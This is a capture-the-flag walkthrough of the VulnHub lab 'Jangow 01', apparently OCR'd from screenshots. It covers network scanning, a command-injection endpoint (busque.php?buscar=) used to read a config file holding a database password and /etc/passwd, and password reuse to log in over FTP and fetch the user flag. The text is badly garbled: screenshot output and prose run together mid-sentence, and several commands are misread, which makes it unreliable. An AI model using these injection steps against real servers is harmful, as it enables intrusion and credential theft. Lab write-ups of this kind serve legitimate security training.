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JANGOW 01

This is a box from vulnhub that is rated easy by the
author but depending on your skill level it may also be
considered as medium. The box had a web application
that was running which was misconfigured and one
end point allowed command execution. The box also
teaches you to test for password re-use and that’s how

we managed to obtain the user flag.
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Currently scanning: Finished! | Screen View: Unique Hosts The ﬁI’St Step 1S to get the IP address Of our target
50 Captured ARP Req/Rep packets, from 8 hosts. Total size: 3000

machine where we used a tool called netdiscover, it is
At MAC Address Count Len MAC Vendor / Hostname

used to scan the network. To Scan the network, I used

192.168.192.14 08:00:27:ed:3f:52 60 PCS Systemtechnik GmbH
the following command

Netdiscover —r 192.168.192.10/24

The target ip 1s the ip address that has the host name of

pcs systemtechnik GmbH

Note: to scan for other devices on the network you need
to first get your ip address by typing in if config then

using your ip address you scan the whole subnet
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Next, I scanned the target ip 192.168.192.14 using

~/Desktop/vulnhub/jangow
ip -sC -sV -p- 192.168.192.14 -oN nmap.txt .
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 04:34 EDT nmap to see what ports are open and services are
Nmap scan report for 192.168.192.14
Host is up (0.0014s latency). .
ot shown: 65533 Filtered tén norts (io-tesnonse) running on the target. From the results we can see that

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3 ; : :
el D port 21, 80 are open. Port 21 is running the ftp service
| http-1s: Volume / ) . )

| SIZE TIME FILENAME and port 80 1s running http service.

| - 2021-06-10 18:05 site/

¥
| _http-server-header: Apache/2.4.18 (Ubuntu)

| _http-title: Index of /

MAC Address: 08:00:27:ED:3F:52 (Oracle VirtualBox virtual NIC)

Service Info: Host: 127.0.0.1; 0S: Unix that 1s discovered called site which might be of interest

On the web application we can see that there 1s a file

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 149.53 seconds to us.
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~/Desktop/vulnhub/jangow The next step 1s to try to login the ftp service. Usually, it
tp 192.168.192.14 21
Connected to 192.168.192.14. would require credentials to log you in but sometimes
220 (vsFTPd 3.0.3) y
Name (192.168.192.14:root): anonymous system administrators do tend to forget to remove the

331 Please specify the password. ) : :
D default credentials of ftp which is anonymous:anonymous,

530 Login incorrect.
ftp: Login failed
ftp>

after attempting to login the ftp service I realized that the
default credentials didn’t work, so the next step would be

to check the web application.
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& G0 O & 19216819214 Opening the web application from the browser we can

Kali Linux #8 KaliTools ¢ KaliDocs X Kali Forums X Kali NetHunter Exploit-DB see that the web apphcation was not Conﬁgured properly

Index of / since we can see the web server file called site as nmap
had reported.

Name Last modified Size Description

Csite/ 2021-06-10 18:05 -

Apache/2.4.18 (Ubuntu) Server at 192.168.192.14 Port 80
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< C ® O & 19216819214

Kali Linux # KaliTools ¢ KaliDocs i KaliForums X Kali NetHunter * Exploit-DB % Google HackingDB 1 OffSec ~ Assetnote Wordlists ¥ To Hex, XOR - CyberChef

Start Bootstrap About Projects Buscar.

GRAYSCALF

trap theme

GET STARTED

O A 192.168.192.14

< C @

KaliLinux §8 KaliTools ¢ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB

< C @ O & 192.168.192.14

Kali Linux # Kali Tools ¢ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB

assets busque.php css index.html js wordpress

When I clicked the file site 1s when the web page was
loaded onto the browser. I started navigating the
website to see if I could get any useful information
which would aid me in my attack but nothing useful
was obtained. I then started checking where the tabs
would take me and only buscar tab was the one that
was interesting to us because of the url. Then I decided
to tried if I could get command execution by typing ls
and indeed it was vulnerable to command execution.
There were difterent resources which were visible on

the web application.
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O A 192168.192.14/site/v

& C @

Kali Linux #8 KaliTools @ KaliDocs N Kali Forums @ Kali NetHunter

Exploit-DB % Google Hacking DB ¢/ OffSec  Assetnote Wordlist

Start Bootstrap | Menu= |

+ About
» Projects
+ Buscar

Grayscale

A free, responsive, one page Bootstrap theme created by Start Bootstrap.

Get Started

Built with Bootstrap 5

Grayscale is a free Bootstrap theme created by Start Bootstrap. It can be yours right now, simply download the template o1
commercial.

Shoreline

Grayscale is open source and MIT licensed. This means you can use it for any project - even commercial projects! Downloa

[ decide to look at each file and see if I could get any
useful information but unfortunately there was nothing
useful. Then, I decided to use Wpscan to scan the site
perhaps I might get useful information but unfortunately
Wpscan couldn’t scan because it seemed the target ip
address was not running WordPress, this could mean two
things, either the web application is not really a WordPress
site, or the system administrator had removed all
WordPress signature from the web applications which

made Wpscan to think that the target web application is

not a WordPress site and not scan it.

gy




~/Desktop/vulnhub/jangow
' - 192.168.192.14/site -w /usr/share/wordlists/dirb/big.txt

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 20469
Output File: /root/.dirsearch/reports/192.168.192.14-site_23-05-29_05-18-01.txt
Error Log: /root/.dirsearch/logs/errors-23-05-29_05-18-01.1log

Target: http://192.168.192.14/site/

[05:18:01] Starting:

-> http://192.168.192.14/site/assets/
-> http://192.168.192.14/site/css/
js => http://192.168.192.14/site/js/
rdp -> http://192.168.192.14/site/wordpress/

Task Completed

The next step I took was to try and do content
discovery so that we can get hidden directory and to do
this I used a tool called dirsearch. After running the tool,
there was nothing interesting because all the results we
see from dirsearch we had already discovered them
manually from the web application by doing command

execution, hence another dead end.
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The next step was to get back to the place where we I

“« C @ O & 192.168.192.14/site/busque.php?buscar= ipress; ok

Kali Linux # KaliTools ¢ KaliDocs N KaliForums X Kali NetHunter Exploit-DB Google Hacking DB 1n1t1ally fOllIld the command GXCCUtiOH and tried to see lf

config.php index.html
[ can list the content of the WordPress directory by
running the command od wordpress; Is and there were
two more files, config.php and index.html. The file of

interest would be the config file which contains

credentials to the database.
~/Desktop/vulnhub/jangow

'l http://192.168.192.14/site/busque.php?buscar=cat+wordpress/config.php

<?php . o
$servername = "localhost"; I tried reading the file from the browser but for some
$database = "desafio02";
$username = "desafio02"; . .
$password = "abygurl69"; reason my browser was acting up or was it the box am
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database); . .
{1 check comnection not sure, but I decided to read the file using a command
if (!$conn

die("Connection failed:

. mysqli_connect_error());

} line tool called curl and T managed to get the credentials

echo "Connected successfully”;
mysqli_close($conn);

2> of the database
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i - Sl L After retrieving the database credentials, I tried to test for

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nolog Credentials re-use and see 1f perhaps the administrator
/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:

/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/no . . .
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats: mlght haVC usce d the sSame Credentlals fOI' the ftp SErvice
Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/ru

proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:1( . ’ .

uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false jangow01:x:1000 bUt that dldn t WOI'k hencea I trled to read the /etC/paSSWd

daemon,,,:/srv/ftp:/bin/false mysql:x:112:119:MySQL Server,,,:/nonexistent:/bin/false

file to see what users are in the system by typing cat

~/Desktop/vulnhub/jangow
rl http://192.168.192.14/site/busque.php?buscar=%20cat%20/etc/passwd .
root:x:0:0:root:/root:/bin/bash /CtC/paSSWd. The reason Why I used the termlnal was fOI'
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin :
sznc;x;l,;ﬁsg:ﬂ,;sync;/bjn;/bin/syn% better VleW Of the Output Compared from the browser.
games:x:5:60:games: /usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
1p:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin .
i e e e A After looking at the content I saw that there was a used
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin . .
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
i e b, bl called jangow01 that had access to the ssh service but
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin unfortunately port 22 WwWas not Opened.
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody :x:65534:65534 :nobody: /nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108: : /home/syslog:/bin/false
_apt:x:105:65534: :/nonexistent:/bin/false
1xd:x:106:65534: :/var/1ib/1xd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false

dnsmasq:x:109:65534:dnsmasq, ,, :/var/lib/misc:/bin/false
jangow01:x:1000:1000:desafio02,,,:/home/jangowd1:/bin/bash
sshd:x:110:65534: : /var/run/sshd: /usr/sbin/nologin
ftp:x:111:118:ftp daemon,,,:/srv/ftp:/bin/false
mysql:x:112:119:MySQL Server,,,:/nonexistent:/bin/false
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selat) lggbizk;gp/vulnhub/jangow So, I tried to test for password reuse, I took the ssh username

Connected to 192.168.192.14. . i

220 (vsFTPd 3.0.3) which was jangow01 and used the password that we had
Name (192.168.192.14:root): jangowdl

331 Please specify the password. .

T found on the WordPress configuration file abygurl69 and I
230 Login successful.

Remote system type is UNIX. - - -
USiTElBinary mods tol transfer Files: managed to get access into the ftp services. Once I logged in
ftp> pwd

?i’;‘jtidd“i“?” AUar /s [ changed directory to home/jangow(01 and there was the
250 Directory successfully changed.

Tip> o howe user.txt file and that marked the end of the journey.

250 Directory successfully changed.

ftp> 1s

229 Entering Extended Passive Mode (|]|41753])

150 Here comes the directory listing.

drwxr-xr-x 4 1000 1000 4096 Jun 10 2021 jangow0l

226 Directory send OK.

ftp> cd jangow0l

250 Directory successfully changed.

ftp> 1s

229 Entering Extended Passive Mode (|]|28893])

150 Here comes the directory listing.

~rW-TW-r-~ 1 1000 1000 33 Jun 10 2021 user.txt

226 Directory send OK.

ftp> cat user.txt

?Invalid command.

ftp> get user.txt

local: user.txt remote: user.txt

229 Entering Extended Passive Mode (|]|23154])

150 Opening BINARY mode data connection for user.txt (33 bytes).

100% |*******************************************************************************'

226 Transfer complete.

33 bytes received in 00:00 (2.64 KiB/s)

ftn> exit
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Summary

1. Perform nmap

2. Access the web application
3. Find the vulnerable endpoint
4. Perform command execution
5. Get the configuration file

6. Retrieve the credentials

7. Check the /etc/password file
8. Get the username

9. Test for password re-use

10. Gain access to the ftp server and get the user flag
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